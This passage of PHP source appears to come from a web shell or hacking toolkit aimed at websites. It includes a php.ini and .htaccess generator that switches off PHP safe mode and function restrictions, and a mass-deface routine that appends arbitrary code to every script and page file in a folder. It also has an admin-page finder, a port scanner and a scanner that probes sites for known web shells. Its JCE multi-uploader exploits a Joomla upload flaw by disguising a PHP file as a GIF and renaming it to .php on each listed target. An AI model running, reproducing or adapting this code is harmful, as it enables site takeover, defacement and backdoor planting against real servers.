order deny,allow 
deny from all 
</Limit> 
suPHP_ConfigPath ".getcwd()."/php.ini";
$g = fopen('suPHP2/.htaccess','w');
fwrite($g,$rr);
echo "<br><br><font color=red size=2 face=\"Courier New\">.htaccess Has Been Generated Successfully</font></center><br><br>";
echo "<center><br><b class='cone'><a href=suPHP2/ target='_blank'><font face='Tahoma' color='#00bb00' size='2pt'>Click here </font></a></b></center><br>";
}
echo '<center><form method=post><br><br>
<input type=submit name=gnrp value="Generate php.ini" /></form></center>';
error_reporting(0);
            
if(isset($_POST['gnrp']))
{
mkdir('suPHP2',0755);
$rr  = "safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF";
$g = fopen('suPHP2/php.ini','w');
fwrite($g,$rr);
echo "<br><br><font color=red size=2 face=\"Courier New\">php.ini Has Been Generated Successfully</font></center><br><br>";
echo "<center><br><b class='cone'><a href=suPHP2/ target='_blank'><font face='Tahoma' color='#00bb00' size='2pt'>Click here </font></a></b></center><br>";
		
}
}

if(isset($_GET['action']) && $_GET['action'] == 'mass'){
echo '<center><b class="conte">
<a href="?action=mass">Mass Deface Dirs</a> -
<a href="?action=joomla">Mass Change Admin Joomla</a> -
<a href="?action=vb">Mass Change Admin vBulletin</a> -
<a href="?action=wp">Mass Change Admin WordPress</a> -
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
<a href="?action=joommlallainxc">Joomla Index Changer</a> -
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
</b>';
if(!isset($_GET['code'])){

?>

<?php
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Mass Deface Dirs</span><br><form action="" method="get">
<center><br>Mass deface script, php/html/htm/asp/aspx/js</center><br><input type="hidden" name="action" value="mass">
<textarea name="code" id="source">YOUR DEFACE PAGE HERE =)</textarea><br><br>
<font color="#ee5500">Folder:</font> <input type="text" value="'.getcwd().'" name="dir" style="border-top:none;"> <input type="submit" value="Execute" style="border-top:none;"></center>
</form>';
}
else{

if (is_dir($_GET['dir'])) {
$lolinject = $_GET['code'];
foreach (glob($_GET['dir']."/*.php") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo $injectj00.' was injected<br>';
} else {
echo '<font color=red>failed to inject '.$injectj00.'</font>';
}
}
foreach (glob($_GET['dir']."/*.html") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo $injectj00.' was injected<br>';
} else {
echo '<font color=red>failed to inject '.$injectj00.'</font>';
}
}
foreach (glob($_GET['dir']."/*.htm") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo $injectj00.' was injected<br>';
} else {
echo '<font color=red>failed to inject '.$injectj00.'</font>';
}
}
foreach (glob($_GET['dir']."/*.asp") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo $injectj00.' was injected<br>';
} else {
echo '<font color=red>failed to inject '.$injectj00.'</font>';
}
}
foreach (glob($_GET['dir']."/*.js") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo $injectj00.' was injected<br>';
} else {
echo '<font color=red>failed to inject '.$injectj00.'</font>';
}
}
foreach (glob($_GET['dir']."/*.aspx") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo $injectj00.' was injected<br>';
} else {
echo '<font color=red>failed to inject '.$injectj00.'</font>';
}
}
} else { //end if inputted dir is real -- if not, show an ugly red error
echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>';
} // end if inputted dir is real, for real this time
}
}

if(isset($_GET['action']) && $_GET['action'] == 'admnpgfndr'){
echo '<center><b class="conte">
<a href="?action=shellfnderr">Shell Finder</a> -
<a href="?action=jcescnr">Jce Scanner</a> -
<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
<a href="?action=portscnnre">Port Scanner</a> -
<a href="?action=admnpgfndr">Admin Page Finder</a> -
<a href="?action=srchffilsses">Search Files</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Admin Page Finder</span><center><br>';
set_time_limit(0);
error_reporting(0);
$list['front'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list['end'] = "admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
ADMIN/login.php
panelc/
ADMIN/login.html";
function template() {
echo '
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Admin page Finder by k[N]i[g]Ht</title>
<style type="text/css">
body{
background: #222222;
margin: 0;
padding: 0;
padding-top: 10px;
color: #FFF;
font-family: Calibri;
font-size: 13px;
}
a{
color: #FFF;
text-decoration: none;
font-weight: bold;
}
.wrapper{
width: 1000px;
margin: 0 auto;
}
.tube{
padding: 10px;
}
.red{
width: 998px;
border: 1px solid #007700;
background: #222222;
color: #009900;
box-shadow: 0px 0px 4px #007700;
}
.red input{
background: #000;
border: 1px solid #007700;
color: #FFF;
}
.blue{
float: left;
width: 1000px;
border: 1px solid #007700;
background: #222222;
color: #00bb00;
box-shadow: 0px 0px 4px #007700;
}
.green{
float: left;
width: 1000px;
border: 1px solid #007700;
background: #222222;
color: #009900;
box-shadow: 0px 0px 4px #007700;
}
input[type=submit]{ padding: 3px; color: #222222; text-shadow:#000 0px 0px 4px; font-weight: bold; border: 1px solid #007700; background: #ababab; box-shadow: 0px 0px 4px #007700;    padding: 3px; -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px;   -moz-box-shadow: rgb(0,119,0) 0px 0px 4px;}
input[type=text]{ padding: 3px; color: #009900; text-shadow: #007700 0px 2px 7px; border: 1px solid #007700; background: transparent; box-shadow: 0px 0px 4px #007700;    padding: 3px;   -webkit-border-radius: 4px;
   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px;   -moz-box-shadow: rgb(0,119,0) 0px 0px 4px;}
input[type=submit]:hover, input[type=text]:hover{ color: #e4e4e4; text-shadow: #00bb00 0px 0px 4px; box-shadow: 0px 0px 4px #00bb00; border: 1px solid #00bb00;    padding: 3px;   -webkit-border-radius: 4px;
   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgba(0,221,0) 0px 0px 4px;   -moz-box-shadow: rgba(0,221,0) 0px 0px 4px;}
</style>
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
var $this = $text;
var logbox = document.getElementById($place);
if($replace == 0)
document.getElementById($place).innerHTML = logbox.innerHTML+$this;
else
document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
</head>
<body>
<br />
<br />
<div class="wrapper">
<div class="red">
<div class="tube">
<form action="" method="post" name="xploit_form"><b>
URL :</b><br /><input type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 100%;" /><br /><br />
<b>404string :</b><br /><input type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 100%;" /><br /><br />
<span style="float: right;"><input type="submit" name="xploit_submit" value="Find Admin Page" align="right" /></span><br />
</form>
<br />
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
Found ones:<br />
</div> <!-- /tube -->
</div> <!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder<br />
PHP Version<br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all">';
}
function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
if($br == 1) $msg .= "<br />";
echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
if($stop == 1) exit;
@flush();@ob_flush();
}
function check($x, $front=0) {
global $_POST,$site,$false;
if($front == 0) $t = $site.$x;
else $t = 'http://'.$x.'.'.$site.'/';
$headers = get_headers($t);
if (!eregi('200', $headers[0])) return 0;
$data = @file_get_contents($t);
if($_POST['xploit_404string'] == "") if($data == $false) return 0;
if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
return 1;
}
	
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset($_POST['xploit_url'])) die;
if($_POST['xploit_url'] == '') die;
$site = $_POST['xploit_url'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list['end'] = str_replace("
", "", $list['end']);
$list['front'] = str_replace("
", "", $list['front']);
$pathes = explode("
", $list['end']);
$frontpathes = explode("
", $list['front']);
show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
$verificate = 0;
foreach($pathes as $path) {
show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
}
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
}
}
}
if(isset($_GET['action']) && $_GET['action'] == 'portscnnre'){
echo '<center><b class="conte">
<a href="?action=shellfnderr">Shell Finder</a> -
<a href="?action=jcescnr">Jce Scanner</a> -
<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
<a href="?action=portscnnre">Port Scanner</a> -
<a href="?action=admnpgfndr">Admin Page Finder</a> -
<a href="?action=srchffilsses">Search Files</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Port Scanner</span><center><br>';
echo '<title>Port Scanner';
echo '</title>';

$addr = $_SERVER["REMOTE_ADDR"];
$port = "80";
if ($_GET["addr"]) {
$addr = $_GET["addr"];
}
if ($_GET["port"]) {
$port = $_GET["port"];
}
if ($_GET["port2"]) {
$port2 = $_GET["port2"];
}

echo '<form action="' .$_SERVER["PHP_SELF"]. '" method="get">
<center>
<div style="width:300px;background:transparent;padding:10px;font-family:arial;">
<table width="100%" border="0" cellspacing="0" cellpadding="2">
<tr>
<td colspan="2" style="font-size:12px; color:#007700;">Please enter a website or IP and port of the website or IP address you wish to scan.</td>
</tr>
<tr>
<td width="30%" style="font-size:12px; color:#007700;"><br>Address/IP</td>
<td width="80%"><br><input type="text" name="addr" value="' .$addr. '"></td>
</tr>
<tr>
<td width="30%" style="font-size:12px; color:#007700;"><br>Port</td>
<td width="80%"><br><input type="text" name="port" value="' .$port. '"></td>
</tr>
<tr>
<td width="30%" style="font-size:12px; color:#009900;"><br>Result</td>
<td width="80%"><br><input type="text" name="port2" value="' .$port2. '"></td>
</tr>
<td width="30%"> </td>
<td width="80%"><br><input type="submit" value="Scan Port(s)"></td>
</tr>
</table>
</div>
</form>
</center>
';

if ($_GET["addr"]) {
if ($_GET["port"] && !$_GET["port2"]) {
$fp = @fsockopen($addr, $port, $errno, $errstr, 2);
$success = "#FF0000";
$success_msg = "is closed.";
if ($fp) {
$success = "#99FF66";
$success_msg = "is open.";
}
@fclose($fp);
echo '<div style="width:300px;background:' .$success. ';padding:10px;font-family:arial;font-size:12px;">
The address <b>"' .$addr. ':' .$port. '"</b> ' .$success_msg. '
</div>';
}
else if ($_GET["port"] && $_GET["port2"]) {
$p1 = $_GET["port"];
$p2 = $_GET["port2"];
if ($p1 == $p2) {
$fp = @fsockopen($addr, $port, $errno, $errstr, 2);
$success = "#FF0000";
$success_msg = "is closed.";
if ($fp) {
$success = "#99FF66";
$success_msg = "is open.";
}
@fclose($fp);
echo '<div style="width:300px;background:' .$success. ';padding:10px;font-family:arial;font-size:12px;">
The address <b>"' .$addr. ':' .$port. '"</b> ' .$success_msg. '
</div>';
}
else {
if ($p1 < $p2) {
$s = $p1;
$st = $p1;
$e = $p2;
}
else if ($p2 < $p1) {
$s = $p2;
$st = $p2;
$e = $p1;
}
while ($s <= $e) {
$fp = @fsockopen($addr, $s, $errno, $errstr, 1);
if ($fp) {
$p_open = $p_open. " " .$s;
$p_1 = 1;
}
@fclose($fp);
$s++;
}
if ($p_1) {
$c = "#99FF66";
$m = "On the address <b>" .$addr. "</b> and port range <b>" .$st. "-" .$e. "</b> the following ports were open: " .$p_open;
}
else {
$c = "#FF0000";
$m = "No ports on the address <b>" .$addr. "</b> and port range <b>" .$st. "-" .$e. "</b> were open";
}
echo '<div style="width:300px;background:' .$c. ';padding:10px;font-family:arial;font-size:12px;">' .$m. '</div>';
}
}
}
}

if(isset($_GET['action']) && $_GET['action'] == 'shellfnderr'){
echo '<center><b class="conte">
<a href="?action=shellfnderr">Shell Finder</a> -
<a href="?action=jcescnr">Jce Scanner</a> -
<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
<a href="?action=portscnnre">Port Scanner</a> -
<a href="?action=admnpgfndr">Admin Page Finder</a> -
<a href="?action=srchffilsses">Search Files</a> </center>
</b>';
echo'<center>
<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Search Shells uploaded</span><br>
<img src="http://www11.0zz0.com/2014/08/22/21/592562836.png">
<p align="center"></p><br>
<form method="POST">
</form><center>
<form action="" method="post">
<input name="traget" type="text" size="100" value="http://www.site.com/"/><br>
<br><br>
<input name="scan" size="100" value="Start Scaning" type="submit">
</form><br>';

set_time_limit(0);

if (isset($_POST["scan"])) {  

$url = $_POST['traget'];

echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
echo "ReSulT:<br /><br />";

$shells = array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
"x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
"Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
"vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
"d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
"wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
"wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
"tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
"tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
"whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
"templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
"admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
"/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
"/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
"/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
"/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
"/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
"wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
"tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
"tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl", 
"forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
"spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
"Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/", 
"tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
"/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip");

//Start Scan
foreach ($shells as $shell){
$headers = get_headers("$url$shell"); // 

if (eregi('200', $headers[0])) {
//Result
echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done :D</span><br /><br/><br/>"; // 
$dz = fopen('shells.txt', 'a+');
$suck = "$url$shell";
fwrite($dz, $suck."
");
}
}
//Result In Text File (shells.txt)
echo "You Will Find Shell'z here [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
}
}
echo"</center>";
echo"</body>";
echo"</html>";

if(isset($_GET['action']) && $_GET['action'] == 'jcemultiscnner'){
echo '<center><b class="conte">
<a href="?action=shellfnderr">Shell Finder</a> -
<a href="?action=jcescnr">Jce Scanner</a> -
<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
<a href="?action=portscnnre">Port Scanner</a> -
<a href="?action=admnpgfndr">Admin Page Finder</a> -
<a href="?action=srchffilsses">Search Files</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">JCE Multi-Uploader</span><center><br>';
echo '<form method="post" action="" enctype="multipart/form-data">
<p align="center"> 
<img src="http://www9.0zz0.com/2014/08/22/21/459163695.png"></p>
<center><table>
<tr>
<td></td><td></td><td><font face="Tahoma" color="#007700" size="2pt">List Websites</font><br><textarea class="area" style="width:500px;height:150px;resize:none" name="siteler"></textarea><br><br></td>
</tr>
<tr>
<td></td><td>File :</td><td><input type="file" name="dosya" style="border: 1px solid #007700 ; border-radius: 4px; box-shadow: 0px 0px 4px #007700;"> <input type="submit" value="Attack Now" /></td>
</tr></table>
</form>
</center>';

set_time_limit(0);
ini_set("max_execution_time", 0);
ob_implicit_flush(1);
ini_set("default_socket_timeout", 1);
if ($_POST) {
$jce = new jce;
$siteler = $_POST['siteler'];
$siteler = explode("
", $siteler);
foreach ($siteler as $host) {
$host = trim($host);
$host = str_replace("http://", "", $host);
echo "=> Name Website: <strong>$host</strong><br />";
flush();
@ob_flush();
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL, "http://$host/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20");
curl_setopt($curl, CURLOPT_USERAGENT, "BOT/0.1 (BOT for JCE)");
curl_setopt($curl, CURLOPT_TIMEOUT, 13);
$exec = curl_exec($curl);
curl_close($curl);
$str = array('2.0.11</title', '2.0.12</title', '2.0.13</title', '2.0.14</title', '2.0.15</title', '1.5.7.10</title', '1.5.7.11</title', '1.5.7.12</title', '1.5.7.13</title', '1.5.7.14</title');
$count = 0;
foreach ($str as $value) {
$pos = strpos($exec, $value);
if ($pos === false) {
$count = $count++;
}
}
if ($count = 10) {
echo '=> <font color="red">Wait.....</font><br/>';
flush();
@ob_flush();
} else {
echo '=> Loading.....<br/>';
flush();
@ob_flush();
}
$filename = "ghost" . rand(1, 200) . ".gif";
$content = "GIF89a1
";
$content.= file_get_contents($_FILES['dosya']['tmp_name']);
$data = "-----------------------------41184676334
";
$data.= "Content-Disposition: form-data; name=\"upload-dir\"

";
$data.= "/
";
$data.= "-----------------------------41184676334
";
$data.= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"\"
";
$data.= "Content-Type: application/octet-stream


";
$data.= "-----------------------------41184676334
";
$data.= "Content-Disposition: form-data; name=\"upload-overwrite\"

";
$data.= "0
";
$data.= "-----------------------------41184676334
";
$data.= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"" . $filename . "\"
";
$data.= "Content-Type: image/gif

";
$data.= "$content
";
$data.= "-----------------------------41184676334
";
$data.= "xxxy
";
$data.= "-----------------------------41184676334
";
$data.= "Content-Disposition: form-data; name=\"action\"

";
$data.= "upload
";
$data.= "-----------------------------41184676334--



";
$packet = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.1
";
$packet.= "Host: " . $host . "
";
$packet.= "User-Agent: BOT/0.1 (BOT for JCE)
";
$packet.= "Content-Type: multipart/form-data; boundary=---------------------------41184676334
";
$packet.= "Accept-Language: en-us,en;q=0.5
";
$packet.= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
";
$packet.= "Cookie: 6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743; jce_imgmanager_dir=%2F; __utma=216871948.2116932307.1317632284.1317632284.1317632284.1; __utmb=216871948.1.10.1317632284; __utmc=216871948; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
";
$packet.= "Connection: Close
";
$packet.= "Proxy-Connection: close
";
$packet.= "Content-Length: " . strlen($data) . "



";
$packet.= $data;
$jce->sendpacket($host, $packet, 0, 0);
$filephp = str_replace("gif", "php", $filename);
$packet = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1
";
$packet.= "Host: " . $host . "
";
$packet.= "User-Agent: BOT/0.1 (BOT for JCE) 
";
$packet.= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
";
$packet.= "Accept-Language: en-US,en;q=0.8
";
$packet.= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
";
$packet.= "Content-Type: application/x-www-form-urlencoded; charset=utf-8
";
$packet.= "Accept-Encoding: deflate
";
$packet.= "X-Request: JSON
";
$packet.= "Cookie: __utma=216871948.2116932307.1317632284.1317639575.1317734968.3; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=216871948.20.10.1317734968; __utmc=216871948; jce_imgmanager_dir=%2F; 6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182
";
$ren = "json={\"fn\":\"folderRename\",\"args\":[\"/" . $filename . "\",\"" . $filephp . "\"]}";
$packet.= "Content-Length: " . strlen($ren) . "

";
$packet.= $ren . "

";
$jce->sendpacket($host, $packet, 1, 0);
$kontrol = $jce->uploadkontrolZenci("http://" . $host . "/images/stories/" . $filephp);
if ($kontrol) {
    echo "=> File Uploaded Successfully -> <a href='http://$host/images/stories/$filephp'>http://$host/images/stories/$filephp</a><br />";
    $jce->logyollaZenci("http://" . $host . "/images/stories/" . $filephp);
} else {
    echo "=> Sorry failed to upload the file :(<br />";
}
    }
}
class jce {
    public function sendpacket($host, $packet, $response = 0, $output = 0) {
$ock = fsockopen($host, 80);
stream_set_timeout($ock, 1);
if (!$ock) {
    echo '=> jce sucks i know hhhhhh xD<br/>';
}
fputs($ock, $packet);
if ($response == 1) {
    $html = '';
    while (!feof($ock)) {
$html.= fgets($ock);
    }
} else $html = '';
fclose($ock);
if ($response == 1 && $output == 1) echo nl2br(htmlentities($html));
    }
    public function uploadkontrolZenci($site) {
$curl = curl_init();
